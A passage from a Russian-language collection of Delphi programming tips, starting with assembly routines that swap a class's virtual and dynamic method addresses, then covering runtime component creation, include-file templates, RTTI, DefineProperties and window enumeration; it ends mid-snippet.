// примечание: перед вызовом этой процедуры проверяйте существование
// VMT у класса функцией IsVMTExist
procedure VirtMethodReplace(Cls: TClass; OldMet, NewMet: Pointer); overload;

// функция служит для замены адреса динамического метода класса с индексом,
// хранящимся в Index, новым адресом, хранящимся в NewMet
// возвращает True, если метод с данным индексом найден и False - если нет
function DynMethodReplace(Cls: TClass; Index: Word; NewMet: Pointer): Boolean; overload;

// функция служит для замены адреса динамического метода класса, хранящегося
// в OldMet, новым адресом, хранящимся в NewMet
// возвращает True, если метод с данным адресом найден и False - если нет
function DynMethodReplace(Cls: TClass; OldMet, NewMet: Pointer): Boolean; overload;

implementation

// функция служит для получения указателя на байт, следующий за адресом
// последнего метода в VMT класса
// возвращает nil в случае, если у класса нет VMT
// функция является "внутренней" в модуле
// (используется другими подпрограммами и не объявлена в секции interface)
// , поэтому используйте её только если
// Вы полностью уверены в своих действиях(она изменяет "рабочие" регистры
// ECX и EDX)
function GetVMTEnd(Cls: TClass): Pointer;
asm
        // Вход: Cls --> EAX
        // Выход: Result --> EAX

        PUSH    EBX
        MOV     ECX, 8
        MOV     EBX, -1
        MOV     EDX, vmtSelfPtr
@@cycle:
        ADD     EDX, 4
        CMP     [EAX + EDX], EAX
        JE      @@vmt_not_found
        JB      @@continue
        CMP     [EAX + EDX], EBX
        JAE     @@continue
        MOV     EBX, [EAX + EDX]
@@continue:
        DEC     ECX
        JNZ     @@cycle
        MOV     EAX, EBX
        JMP     @@exit
@@vmt_not_found:
        XOR     EAX, EAX
@@exit:
        POP     EBX

end;

function IsVMTExist(Cls: TClass): Boolean;
asm
        // Вход: Cls --> EAX
        // Выход: Result --> AL

        CALL    GetVMTEnd
        TEST    EAX, EAX
        JZ      @@vmt_not_found
        MOV     AL, 1
@@vmt_not_found:

end;

procedure VirtMethodReplace(Cls: TClass; Offset: LongWord; NewMet: Pointer); overload;
asm
        // Вход: Cls --> EAX, Offset --> EDX, NewMet --> ECX

        MOV     [EAX + EDX], ECX

end;

procedure VirtMethodReplace(Cls: TClass; OldMet, NewMet: Pointer); overload;
asm
        // Вход: Cls --> EAX, OldMet --> EDX, NewMet --> ECX

        PUSH    EDI
        MOV     EDI, EAX
        PUSH    ECX
        PUSH    EDX
        PUSH    EAX
        CALL    GetVMTEnd
        POP     EDX
        SUB     EAX, EDX
        SHR     EAX, 2
        POP     EDX
        POP     ECX
        PUSH    ECX
        MOV     ECX, EAX
        MOV     EAX, EDX
        POP     EDX
        REPNE   SCASD
        JNE     @@OldMet_not_found
        MOV     [EDI - 4], EDX
@@OldMet_not_found:
        POP     EDI

end;

function DynMethodReplace(Cls: TClass; Index: Word; NewMet: Pointer): Boolean; overload;
asm
        // Вход: Cls --> EAX, Index --> DX, NewMet --> ECX
        // Выход: Result --> AL

        PUSH    EDI
        PUSH    ESI
        MOV     ESI, ECX
        XOR     EAX, EDX
        XOR     EDX, EAX
        XOR     EAX, EDX
        JMP     @@start
@@cycle:
        MOV     EDX, [EDX]
@@start:
        MOV     EDI, [EDX].vmtDynamicTable
        TEST    EDI, EDI
        JZ      @@get_parent_dmt
        MOVZX   ECX, WORD PTR [EDI]
        PUSH    ECX
        ADD     EDI, 2
        REPNE   SCASW
        JE      @@Index_found
        POP     ECX
@@get_parent_dmt:
        MOV     EDX, [EDX].vmtParent
        TEST    EDX, EDX
        JNZ     @@cycle
        JMP     @@Index_not_found
@@Index_found:
        POP     EAX
        SHL     EAX, 1
        SUB     EAX, ECX
        MOV     [EDI + EAX * 2 - 4], ESI
        MOV     AL, 1
        JMP     @@exit
@@Index_not_found:
        XOR     AL, AL
@@exit:
        POP     ESI
        POP     EDI

end;

function DynMethodReplace(Cls: TClass; OldMet, NewMet: Pointer): Boolean; overload;
asm
        // Вход: Cls --> EAX, OldMet --> EDX, NewMet --> ECX
        // Выход: Result --> AL

        PUSH    EDI
        PUSH    ESI
        MOV     ESI, ECX
        XOR     EAX, EDX
        XOR     EDX, EAX
        XOR     EAX, EDX
        JMP     @@start
@@cycle:
        MOV     EDX, [EDX]
@@start:
        MOV     EDI, [EDX].vmtDynamicTable
        TEST    EDI, EDI
        JZ      @@get_parent_dmt
        MOVZX   ECX, WORD PTR [EDI]
        LEA     EDI, EDI + 2 * ECX + 2
        REPNE   SCASD
        JE      @@OldMet_found
@@get_parent_dmt:
        MOV     EDX, [EDX].vmtParent
        TEST    EDX, EDX
        JNZ     @@cycle
        JMP     @@OldMet_not_found
@@OldMet_found:
        MOV     [EDI - 4], ESI
        MOV     AL, 1
        JMP     @@exit
@@OldMet_not_found:
        XOR     AL, AL
@@exit:
        POP     ESI
        POP     EDI

end;

end.

Автор ___ALex___ Форум: http://forum.pascal.dax.ru/


Можно ли динамически изменять свойство owner компонента во время выполнения программы?

Вы можете менять свойство "owner" и после создания компонента с помощью методов InsertComponent() и RemoveComponent().
Взято из
DELPHI VCL FAQ Перевод с английского
Подборку, перевод и адаптацию материала подготовил Aziz(JINX)
специально дляКоролевства Дельфи


Как создать компонент во время выполнения приложения?

При создании визуальных контролов в runtime, важным моментом является назначение родительских свойств и использование метода SetBounds, чтобы этот контрол стал видимы.

type
  TForm1 = class(TForm)
  protected
    MyLabel: TLabel;
    procedure LabelClick(Sender: TObject);
    procedure CreateControl;
  end;

procedure TForm1.LabelClick(Sender: TObject);
begin
  (Sender as Label).Caption := ...
end;

procedure TForm1.CreateControl;
var
  ALeft, ATop, AWidth, AHeight: Integer;
begin
  ALeft := 10;
  ATop := 10;
  AWidth := 50;
  AHeight := 13;
  MyLabel := TLabel.Create(Self);
  MyLabel.Parent := Self;
  MyLabel.Name:='LabelName';
  MyLabel.SetBounds(ALeft, ATop, AWidth, AHeight);

  MyLabel.OnClick := LabelClick;
end;

Взято из http://forum.sources.ru


Шаблоны в Object Pascal

Шаблоны в Object Pascal
( перевод одноимённой статьи с сайта community.borland.com )

Наверное каждый Delphi программист хоть раз общался с программистом C++ и объяснял насколько
Delphi мощнее и удобнее. Но в некоторый момент, программист C++ заявляет примерно следующее
"OK, но Delphi использует Pascal, а значит не поддерживает множественное наследование и шаблоны,
поэтому он не так хорош как C++."

Насчёт множественного наследования можно легко заявить, что Delphi имеет интерфейсы, которые
прекрасно справляются со своей задачей, но вот насчёт шаблонов Вам прийдётся согласится, так как
Object Pascal не поддерживает их.

Давайте посмотрим на эту проблему по-внимательней
Шаблоны позволяют делать универсальные контейнеры такие как списки, стеки, очереди, и т.д.
Если Вы хотите осуществить что-то подобное в Delphi, то у Вас есть два пути:

Использовать контейнер TList, который содержит указатели. В этом случае Вам прийдётся всё
время делать явное приведение типов.
Сделать подкласс контейнера TCollection или TObjectList, и убрать все методы, зависящие от типов
каждый раз, когда Вы захотите использовать новый тип данных.
Третий вариант, это сделать модуль с универсальным классом контейнера, и каждый раз, когда нужно
использовать новый тип данных, нам прийдётся в редакторе искать и вносить исправления. Было бы
здорово, если всю эту работу за Вас делал компилятор.... вот этим мы сейчас и займёмся!

Например, возьмём классы TCollection и TCollectionItem. Когда Вы объявляете нового потомка TCollectionItem
, то так же Вы наследуете новый класс от TOwnedCollection и переопределяете большинство методов, чтобы
их можно было вызывать с новыми типами.

Давайте посмотрим, как создать универсальную коллекцию шаблонов класса:

Шаг 1: Создайте новый текстовый файл (не юнитовский) с именем TemplateCollectionInterface.pas:

_COLLECTION_ = class (TOwnedCollection)
protected
 function  GetItem (const aIndex : Integer) : _COLLECTION_ITEM_;
 procedure SetItem (const aIndex : Integer;
                    const aValue : _COLLECTION_ITEM_);
public
 constructor Create (const aOwner : TComponent);

 function Add                                 : _COLLECTION_ITEM_;
 function FindItemID (const aID    : Integer) : _COLLECTION_ITEM_;
 function Insert     (const aIndex : Integer) : _COLLECTION_ITEM_;
 property Items      [const aIndex : Integer] : _COLLECTION_ITEM_ read GetItem write SetItem;
end;

Обратите внимание, что нет никаких uses или interface clauses, только универсальное объявление
типа, в котором _COLLECTION_ это имя универсальной коллекции класса, а _COLLECTION_ITEM_
это имя методов, содержащихся в нашем шаблоне.

Шаг 2: Создайте второй текстовый файл и сохраните его как TemplateCollectionImplementation.pas:

constructor _COLLECTION_.Create (const aOwner : TComponent);
begin
 inherited Create (aOwner, _COLLECTION_ITEM_);
end;

function _COLLECTION_.Add : _COLLECTION_ITEM_;
begin
 Result := _COLLECTION_ITEM_ (inherited Add);
end;

function _COLLECTION_.FindItemID (const aID : Integer) : _COLLECTION_ITEM_;
begin
 Result := _COLLECTION_ITEM_ (inherited FindItemID (aID));
end;

function _COLLECTION_.GetItem (const aIndex : Integer) : _COLLECTION_ITEM_;
begin
 Result := _COLLECTION_ITEM_ (inherited GetItem (aIndex));
end;

function _COLLECTION_.Insert (const aIndex : Integer) : _COLLECTION_ITEM_;
begin
 Result := _COLLECTION_ITEM_ (inherited Insert (aIndex));
end;

procedure _COLLECTION_.SetItem (const aIndex : Integer;
                                const aValue : _COLLECTION_ITEM_);
begin
 inherited SetItem (aIndex, aValue);
end;

Снова нет никаких uses или interface clauses , а только код универсального типа.

Шаг 3: Создайте новый unit-файл с именем MyCollectionUnit.pas:

unit MyCollectionUnit;

interface

uses Classes;

type TMyCollectionItem = class (TCollectionItem)
     private
      FMyStringData  : String;
      FMyIntegerData : Integer;
     public
      procedure Assign (aSource : TPersistent); override;
     published
      property MyStringData  : String  read FMyStringData  write FMyStringData;
      property MyIntegerData : Integer read FMyIntegerData write FMyIntegerData;
     end;

     // !!! Указываем универсальному классу на реальный тип

     _COLLECTION_ITEM_ = TMyCollectionItem;

     // !!! директива добавления интерфейса универсального класса

     {$INCLUDE TemplateCollectionInterface}

     // !!! переименовываем универсальный класс

     TMyCollection = _COLLECTION_;

implementation

uses SysUtils;

// !!! препроцессорная директива добавления универсального класса

{$INCLUDE TemplateCollectionImplementation}

procedure TMyCollectionItem.Assign (aSource : TPersistent);
begin
 if aSource is TMyCollectionItem then
 begin
  FMyStringData  := TMyCollectionItem(aSource).FMyStringData;
  FMyIntegerData := TMyCollectionItem(aSource).FMyIntegerData;
 end
 else inherited;
end;

end.

Вот и всё! Теперь компилятор будет делать всю работу за Вас! Если Вы измените интерфейс
универсального класса, то изменения автоматически распространятся на все модули, которые
он использует.

Второй пример
Давайте создадим универсальный класс для динамических массивов.

Шаг 1: Создайте текстовый файл с именем TemplateVectorInterface.pas:

_VECTOR_INTERFACE_ = nterface
 function  GetLength : Integer;
 procedure SetLength (const aLength : Integer);

 function  GetItems (const aIndex : Integer) : _VECTOR_DATA_TYPE_;
 procedure SetItems (const aIndex : Integer;
                     const aValue : _VECTOR_DATA_TYPE_);

 function  GetFirst : _VECTOR_DATA_TYPE_;
 procedure SetFirst (const aValue : _VECTOR_DATA_TYPE_);

 function  GetLast  : _VECTOR_DATA_TYPE_;
 procedure SetLast  (const aValue : _VECTOR_DATA_TYPE_);

 function  High  : Integer;
 function  Low   : Integer;

 function  Clear                              : _VECTOR_INTERFACE_;
 function  Extend   (const aDelta : Word = 1) : _VECTOR_INTERFACE_;
 function  Contract (const aDelta : Word = 1) : _VECTOR_INTERFACE_;

 property  Length                         : Integer             read GetLength write SetLength;
 property  Items [const aIndex : Integer] : _VECTOR_DATA_TYPE_  read GetItems  write SetItems; default;
 property  First                          : _VECTOR_DATA_TYPE_  read GetFirst  write SetFirst;
 property  Last                           : _VECTOR_DATA_TYPE_  read GetLast   write SetLast;
end;

_VECTOR_CLASS_ = class (TInterfacedObject, _VECTOR_INTERFACE_)
private
 FArray : array of _VECTOR_DATA_TYPE_;
protected
 function  GetLength : Integer;
 procedure SetLength (const aLength : Integer);

 function  GetItems (const aIndex : Integer) : _VECTOR_DATA_TYPE_;
 procedure SetItems (const aIndex : Integer;
                     const aValue : _VECTOR_DATA_TYPE_);

 function  GetFirst : _VECTOR_DATA_TYPE_;
 procedure SetFirst (const aValue : _VECTOR_DATA_TYPE_);

 function  GetLast  : _VECTOR_DATA_TYPE_;
 procedure SetLast  (const aValue : _VECTOR_DATA_TYPE_);
public
 function  High  : Integer;
 function  Low   : Integer;

 function  Clear                              : _VECTOR_INTERFACE_;
 function  Extend   (const aDelta : Word = 1) : _VECTOR_INTERFACE_;
 function  Contract (const aDelta : Word = 1) : _VECTOR_INTERFACE_;

 constructor Create (const aLength : Integer);
end;

Шаг 2: Создайте текстовый файл и сохраните его как TemplateVectorImplementation.pas:

constructor _VECTOR_CLASS_.Create (const aLength : Integer);
begin
 inherited Create;

 SetLength (aLength);
end;

function _VECTOR_CLASS_.GetLength : Integer;
begin
 Result := System.Length (FArray);
end;

procedure _VECTOR_CLASS_.SetLength (const aLength : Integer);
begin
 System.SetLength (FArray, aLength);
end;

function _VECTOR_CLASS_.GetItems (const aIndex : Integer) : _VECTOR_DATA_TYPE_;
begin
 Result := FArray [aIndex];
end;

procedure _VECTOR_CLASS_.SetItems (const aIndex : Integer;
                                   const aValue : _VECTOR_DATA_TYPE_);
begin
 FArray [aIndex] := aValue;
end;

function _VECTOR_CLASS_.High : Integer;
begin
 Result := System.High (FArray);
end;

function _VECTOR_CLASS_.Low : Integer;
begin
 Result := System.Low (FArray);
end;

function _VECTOR_CLASS_.GetFirst : _VECTOR_DATA_TYPE_;
begin
 Result := FArray [System.Low (FArray)];
end;

procedure _VECTOR_CLASS_.SetFirst (const aValue : _VECTOR_DATA_TYPE_);
begin
 FArray [System.Low (FArray)] := aValue;
end;

function _VECTOR_CLASS_.GetLast : _VECTOR_DATA_TYPE_;
begin
 Result := FArray [System.High (FArray)];
end;

procedure _VECTOR_CLASS_.SetLast (const aValue : _VECTOR_DATA_TYPE_);
begin
 FArray [System.High (FArray)] := aValue;
end;

function _VECTOR_CLASS_.Clear : _VECTOR_INTERFACE_;
begin
 FArray := Nil;

 Result := Self;
end;

function _VECTOR_CLASS_.Extend (const aDelta : Word) : _VECTOR_INTERFACE_;
begin
 System.SetLength (FArray, System.Length (FArray) + aDelta);

 Result := Self;
end;

function _VECTOR_CLASS_.Contract (const aDelta : Word) : _VECTOR_INTERFACE_;
begin
 System.SetLength (FArray, System.Length (FArray) - aDelta);

 Result := Self;
end;
Шаг 3: Создайте unit файл с именем FloatVectorUnit.pas:

unit FloatVectorUnit;

interface

uses Classes;                           // !!! Модуль "Classes" содержит объявление класса TInterfacedObject

type _VECTOR_DATA_TYPE_ = Double;       // !!! тип данных для класса массива Double

     {$INCLUDE TemplateVectorInterface}

     IFloatVector = _VECTOR_INTERFACE_; // !!! give the interface a meanigful name
     TFloatVector = _VECTOR_CLASS_;     // !!! give the class a meanigful name

function CreateFloatVector (const aLength : Integer = 0) : IFloatVector; // !!! дополнительная функция

implementation

{$INCLUDE TemplateVectorImplementation}

function CreateFloatVector (const aLength : Integer = 0) : IFloatVector;
begin
 Result := TFloatVector.Create (aLength);
end;

end.

Естевственно, можно дополнить универсальный класс дополнительными
функциями. Всё зависит от Вашей фантазии!

Использование шаблонов
Вот пример использования нового векторного интерфейса:

procedure TestFloatVector;
 var aFloatVector : IFloatVector;
     aIndex       : Integer;
begin
 aFloatVector := CreateFloatVector;

 aFloatVector.Extend.Last := 1;
 aFloatVector.Extend.Last := 2;

 for aIndex := aFloatVector.Low to aFloatVector.High do
 begin
  WriteLn (FloatToStr (aFloatVector [aIndex]));
 end;
end.

Единственное требование при создании шаблонов таким способом, это то, что
каждый новый тип должен быть объявлен в отдельном модуле, а так же Вы должны
иметь исходники для универсальных классов.

Комментарии и вопросы присылайте по адресу rossen_assenov@yahoo.com!

Взято из http://forum.sources.ru


Работа с Sender

unit TestInputForm;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, DdhInpuB;

type
  TForm1 = class(TForm)
    Edit1: TEdit;
    Label1: TLabel;
    DdhInputButton1: TDdhInputButton;
    DdhInputButton2: TDdhInputButton;
    DdhInputButton3: TDdhInputButton;
    procedure DdhInputButtonClick(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.DdhInputButtonClick(Sender: TObject);
begin
  ShowMessage ('You have clicked the ' +
    (Sender as TButton).Name + ','#13 +
    'having the caption ' +
    (Sender as TButton).Caption);
end;

end.

Взято с http://delphiworld.narod.ru


Как внести изменения в код VCL?

Примечание: внесение изменений в VCL не поддерживается Borland или Borland Developer Support.
-Но если Вы решили сделать это...
Изменения в код VCL никогда не должны вносится в секцию "interface" модуля - только в секцию "implimentation". Наиболее безопасный способ внести изменения в VCL - создать новый каталог названный "исправленный VCL". Скопируйте файл VCL который Вы хотите изменить в этот каталог. Внесите изменения (лучше прокомментировать их) в этот файл. Затем добавьте путь к Вашему каталогу "исправленный VCL" в самое начало "library path". Перезапустите Delphi/C++ Builder и перекомпилируйте Ваш проект. "library path" можно изменить в меню:

Delphi 1 :    Options | Environment | Library
Delphi 2 :    Tools   | Options     | Library
Delphi 3 :    Tools   | Environment Options | Library
Delphi 4 :    Tools   | Environment Options | Library
C++ Builder : Options | Environment | Library


В чем отличие между Create(Self) и Create(Application)?

Self может быть использовано только в методе класса, и ссылается на текущий экземпляр класса. Таким образом "Self" в методе класса TForm1 ссылается на текущий экземпляр TForm1. При создании компонента Вы передаете его владельца (owner) в конструктор. При уничтожении формы или компонента автоматически уничтожаются и все компоненты владельцем которого она является. Таким образом если при создании формы передать в качестве владельца Application эта форма будет автоматически уничтожена при уничтожении Application. Если же при создании формы передать в качестве владельца другую форму, вновь созданная форма будет автоматически уничтоженна при уничтожении формы-владельца.


Как создать копию произвольного компонента?

{
 Здесь пpоцедypа CreateClone, котоpая кpеатит компонентy ОЧЕHЬ ПОХОЖУЮ на
входнyю. С такими же значениями свойств. Пpисваивается все, кpоме методов.
}
function CreateClone(Src: TComponent): TComponent;
var
  F: TStream;
begin
  F := nil;
  try
    F := TMemoryStream.Create;
    F.WriteComponent(Src);
    RegisterClass(TComponentClass(Src.ClassType));
    F.Position := 0;
    Result := F.ReadComponent(nil);
  finally
    F.Free;
  end;
end;


Перекрытие виртуальных методов

Кто-нибудь знает, в чем разница между перекрытием (OVERRIDING) виртуального метода и заменой (REPLACING) его? Я немного запутался.

Допустим у вас есть класс:

TMyObject = class (TObject)

и его наследник:

TOverrideObject = class (TMyObject)

К примеру, TMyObject имеет метод Wiggle:

procedure Wiggle; virtual;

а TOverrideObject перекрывает Wiggle:

procedure Wiggle; override;

и, естественно, вы реализовали оба метода.

Теперь вы создаете TList, содержащий целую кучу MyObjects и OverrideObjects в свойстве TList.Items[n]. Свойство Items является указателем, поэтому для вызова метода Wiggle вам достаточно вызвать необходимый элемент списка. Например так:

if TObject(Items[1]) is TMyObject then
  TMyObject(Items[1]).Wiggle
else
  if TObject(Items[1]) is TOverrideObject then
    TOverrideObject(Items[1]).Wiggle;

но возможности полиморфизма и директива override позволяют вам сделать так:

TMyObject(Items[1]).Wiggle;

Ваше приложение посмотрит на экземпляр специфического объекта, ссылка на который содержится в Items[1] и скажет: "Да, это - TMyObject, но, точнее говоря, это TOverrideObject; но поскольку метод Wiggle является виртуальным методом и TOverrideObject переопределил метод Wiggle, я собираюсь выполнить метод TOverrideObject.Wiggle, а не метод TMyObject.Wiggle."

Теперь представьте себе, что при декларации метода вы пропустили директиву override, попробуйте это выполнить теперь:

TMyObject(Items[1]).Wiggle;

Приложение и в этом случае должно "видеть" данный метод, даже если Items[1] - TOverrideObject; но у него отсутствует перекрытая версия метода Wiggle, поэтому приложение выполнит TMyObject.Wiggle, а не TOverrideObject.Wiggle (поведение, которое вы можете как хотеть, так и избегать).

Так, перекрытый метод функционально может отличаться от декларированного метода, содержащего директиву virtual (или dynamic) в базовом классе, и объявленный с директивой override в классе-наследнике. Для замены метода необходимо объявить его в классе-наследнике без директивы override. Перекрытые методы могут выполняться даже тогда, когда специфический экземпляр класса-предка является точной копией базового класса. "Замененные" методы могут выполняться только тогда, когда специфический экземпляр является "слепком" только этого класса.

Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Вызов процедуры, имя которой содержится в переменной

Как я могу вызвать процедуру, чье имя хранится в таблице, списке, и т.п.? Другими словами, я хочу сохранить имя процедуры в переменной и для ее вызова обращаться к значению этой переменной. Какие предложения?

unit ProcDict;

interface

type MyProc = procedure(s: string);

procedure RegisterProc(procName: string; proc: MyProc);
procedure ExecuteProc(procName: string; arg: string);

implementation

uses Classes;
var ProcDict: TStringList;

procedure RegisterProc(procName: string; proc: MyProc);
begin
  ProcDict.AddObject(procName, TObject(@proc));
end;

procedure ExecuteProc(procName: string; arg: string);
var
  index: Integer;
begin
  index := ProcDict.IndexOf(ProcName);
  if index >= 0 then
    MyProc(ProcDict.objects[index])(arg);
// Можно вставить обработку исключительной ситуации - сообщение об ошибке
end;

initialization
  ProcDict := TStringList.Create;
  ProcDict.Sorted := true;
finalization
  ProcDict.Free;
end.

HR
вы могли бы создать StringList как показано ниже:

StringList.Create; StringList.AddObject('Proc1',@Proc1);
StringList.AddObject('Proc2',@Proc2);

и затем реализовать это в вашей программе:

var
  myFunc: procedure;
begin
  if Stringlist.indexof(S) = -1 then
    MessageDlg('Не понял процедуру ' + S, mtError, [mbOk], 0)
  else
    begin
      @myFunc := Stringlist.Objects[Stringlist.indexof(S)];
      myFunc;
    end;

RAM
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Динамические и виртуальные методы

Согласно онлайновой документации, динамические и виртуальные методы семантически идентичны, единственно различие заключается в их реализации, нижеследующий код генерирует указанную ошибку компиляции:

type t = class
    function a: integer; {статический}
    function b: integer; virtual;
    function c: integer; dynamic;
    property i: integer read a; { ok }
    property j: integer read b; { ok }
    property k: integer read c;{ ОШИБКА: type mismatch (не совпадение типа) }
  end;

Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Override/Vitual/Dynamic - методы

Если метод в классе предка объявлен как виртуальный (virtual) или динамический (dynamic), вам необходимо перекрыть его во всех классах-наследниках. Если вы объявляете унаследованный метод виртуальным или динамическим, вы начинаете строить его новое виртуальное/динамическое дерево наследования. Допустим, у нас есть следующая иерархия: A (родитель) - B - C - D. Если вы объявляете метод как виртуальный (или динамический) в A, перекрываете в B, создаете виртуальным в C и перекрываете в D, вот что получается:

фактический класс, используемый класс, использующий
класс        для доступа к методу  метод
-----------+---------------------+--------------------
     D                D                     D
     D                C                     D
     D                B                     B
     D                A                     B

     C                C                     C
     C                B                     B
     C                A                     B

     B                B                     B
     B                A                     B

Вывод: работа виртуального/динамического наследования прекращается в момент создания одноименного виртуального/динамического метода наследниками класса.
Mark
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Выполнение процедуры по адресу

var F: procedure(x, y: double);

  @F := GetProcAddress(hDLL, 'SOMEPROC');
  F(3, 4);

Ключом здесь является использование оператора @, располагаемого с левой части процедурной переменной. Он говорит компилятору: "Не волнуйтесь здесь о совместимости типов, просто присвойте полученный в правой части выражения адрес переменной в левой части выражения (и процедурные переменные являются переменными-указателями).

- Peter Below
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Информация о TClass

TObject - "корневой" объект.

TClass определен как Class of TObject. Переменная Class НЕ является указателем на экземпляр объекта. Это указатель на *ТИП* объекта Class.

var
  Obj1: TWinControl;
  Class1: class of TWinControl;

Class1 := TWinControl - правильное присваивание. Мы не распределяем память, у нас нет экземпляра TWinControl, мы не можем вызвать Class1.OnClick.

Class1 - это *тип* TWinControl с тем же контекстом использования, что и "TWinControl".

Поскольку мы можем использовать TWinControl.Create, то также мы можем использовать и Class1.Create, при этом создавая новый экземпляр TWinControl.

С тех пор как TEdit - наследник TWinControl, Class1 := TEdit правильное присваивание и Class1.Create создает экземпляр TEdit.

Если у меня имеется переменная Obj2: TWinControl, и даже если я присвоил экземпляр TListbox Obj2, я не могу ссылаться на Obj2.Items, поскольку Obj2 определен как TWinControl, а TWinControl не имеет свойства Items.

Те же характеристики верны и для Class1. Class1 определен как Class of TWinControl, поэтому они имеют общий конструктор, определенный в классе TWinControl.

Это не пугает меня при создании дополнительных типов:

TMyObj1 = class(TEdit)
  constructor CreateMagic; virtual;
end;

TMyObj2 = class(TMyObj1)
  constructor CreateMagic; override;
end;

TMyClass = class of TMyObj;

var
  MyObj1: TMyObj1;
  MyObj2: TMyObj2;

function MakeAnother(AClass: TMyClass): TMyObj1;
begin
  Result := AClass.CreateMagic;
end;

begin
  MyObj2 := TMyObj2.CreateMagic;
  MyObj1 := MakeAnother(MyObj2.ClassType);
end.

Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Переназначения объектов

Существует ли возможность переключения набора данных, используемого DBNavigator на набор данных активного элемента управления без из прямого указания?

Все, что вы хотите, поместится в пару строк кода. Добавьте "TypInfo" в список используемых модулей и сделайте примерно следующее:

var
  PropInfo: PPropInfo;
begin
  PropInfo := GetPropInfo(PTypeInfo(ActiveControl.ClassInfo), 'DataSource');
  if (PropInfo <> nil)
    and (PropInfo^.PropType^.Kind = tkClass)
    and (GetTypeData(PropInfo^.PropType)^.ClassType = TDataSource) then
    DBNavigator1.DataSource := TDataSource(GetOrdProp(ActiveControl, PropInfo));
end;

Некоторая избыточность в проверках гарантирует вам, что вам не попадется некий странный объект (от сторонних производителей компонентов, например), имеющий свойство DataSource, но не типа TDataSource.

Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Демонстрация DefineProperties

Хорошо, создайте на основе опубликованного ниже кода модуль PropDemo.pas и добавьте новый компонент в палитру компонентов. Расположите его на форме и сохраните ее. Затем посмотрите файл DFM каким-либо шестнадцатиричным редактором и проверьте наличие определенных свойств по их именованным тэгам. Вы можете также попробовать закрыть форму и модуль, а затем открыть его с помощью пункта меню File | Open file..., изменив тип файла в выпадающем списке на *.DFM.

Mike Scott
Mobius Ltd.

unit PropDemo;

{ Демонстрация DefineProperties.Mike Scott, CIS 100140,2420. }

interface

uses
  SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
  Forms, Dialogs;

type
  TDemoProps = class(TComponent)
  private
{ Private declarations }
    FStringThing: string;
    FThing: record
      i, j, k: integer;
      x, y: real;
      ch: char;
    end;
    procedure ReadStringThing(Reader: TReader);
    procedure WriteStringThing(Writer: TWriter);
    procedure ReadThing(Stream: TStream);
    procedure WriteThing(Stream: TStream);
  protected
{ Protected declarations }
    procedure DefineProperties(Filer: TFiler); override;
  public
{ Public declarations }
    constructor Create(AOwner: TComponent); override;
  published
{ Published declarations }
  end;

procedure Register;

implementation

constructor TDemoProps.Create(AOwner: TComponent);

begin
  inherited Create(AOwner);
{ создайте любые данные, чтобы было что передать в поток}
  FStringThing := 'Всем привет!';
  with FThing do
    begin
      i := 1;
      j := 2;
      k := 3;
      x := PI;
      y := 180 / PI;
      ch := '?';
    end;
end;

procedure TDemoProps.ReadStringThing(Reader: TReader);
begin
  FStringThing := Reader.ReadString;
end;

procedure TDemoProps.WriteStringThing(Writer: TWriter);
begin
  Writer.WriteString(FStringThing);
end;

procedure TDemoProps.ReadThing(Stream: TStream);
begin
  Stream.ReadBuffer(FThing, sizeof(FThing));
end;

procedure TDemoProps.WriteThing(Stream: TStream);
begin
  Stream.WriteBuffer(FThing, sizeof(FThing));
end;

procedure TDemoProps.DefineProperties(Filer: TFiler);

begin
  inherited DefineProperties(Filer);
  Filer.DefineProperty('StringThing', ReadStringThing, WriteStringThing,
    FStringThing <> '');
  Filer.DefineBinaryProperty('Thing', ReadThing, WriteThing, true);
end;

procedure Register;
begin
  RegisterComponents('Samples', [TDemoProps]);
end;

end.

Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Работа метода Assign

В общем случае, утверждение "Destination := Source" не идентично утверждению "Destination.Assign(Source)".

Утверждение "Destination := Source" принуждает Destination ссылаться на тот же объект, что и Source, а "Destination.Assign(Source)" копирует содержание объектных ссылок Source в объектные ссылки Destination.

Если Destination является свойством некоторого объекта (тем не менее, и свойство не является ссылкой на другой объект, как, например, свойство формы ActiveControl, или свойство DataSource элементов управления для работы с базами данных), тогда утверждение "Destination := Source" идентично утверждению "Destination.Assign(Source)". Это объясняет, почему LB.Items := MemStr работает, когда MemStr := LB.Items нет.
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Как заставить код компонента работать только в дизайне?

if csDesigning in ComponentState then
begin
... код, работающий только в дизайне ...
end;

Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba

в модификации Vit


Как забыть о необходимости разрушать объекты?

type
  ISelfDestroy = interface;
  //forget about GUID, if you are not using COM

  TSelfDestroy = class(TInterfacedObject, ISelfDestroy)
  private
    FObject: TObject;
  public
    constructor Create(AObject: TObject);
    destructor Destroy; override;
  end;

implementation

constructor TSelfDestroy.Create(AObject: TObject);
begin
  FObject := AObject;
end;

destructor TSelfDestroy.Destroy;
begin
  FreeAndNil(FObject);
  inherited;
end;

// So when you use, just do like this...

procedure TForm1.Button1Click(Sender: TObject);
var
  MyObject: TMyObject;
  SelfDestroy: TSelfDestroy;
  begin
  MyObject    := TMyObject.Create;
  SelfDestroy := TSelfDestroy.Create(MyObject);
  // The MyObject will free automatically as soon as TSelfDestroy
  // goes out of scope.
  // Carry on your code here...
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Список handle всех окон моего приложения

function EnumProc(wnd: HWND; var count: DWORD): Bool; stdcall;
begin
  Inc(count);
  result := True;
  EnumChildWindows(wnd, @EnumProc, integer(@count));
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  count: DWORD;
begin
  count := 0;
  EnumThreadWindows(GetCurrentThreadID, @EnumProc, Integer(@count));
  Caption := Format('%d window handles in use', [count]);
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как получить список всех назначенных событий?

uses TypInfo;

{ .... }

procedure TForm1.Button1Click(Sender: TObject);
var
  x, y, z: Word;
  pl: PPropList;
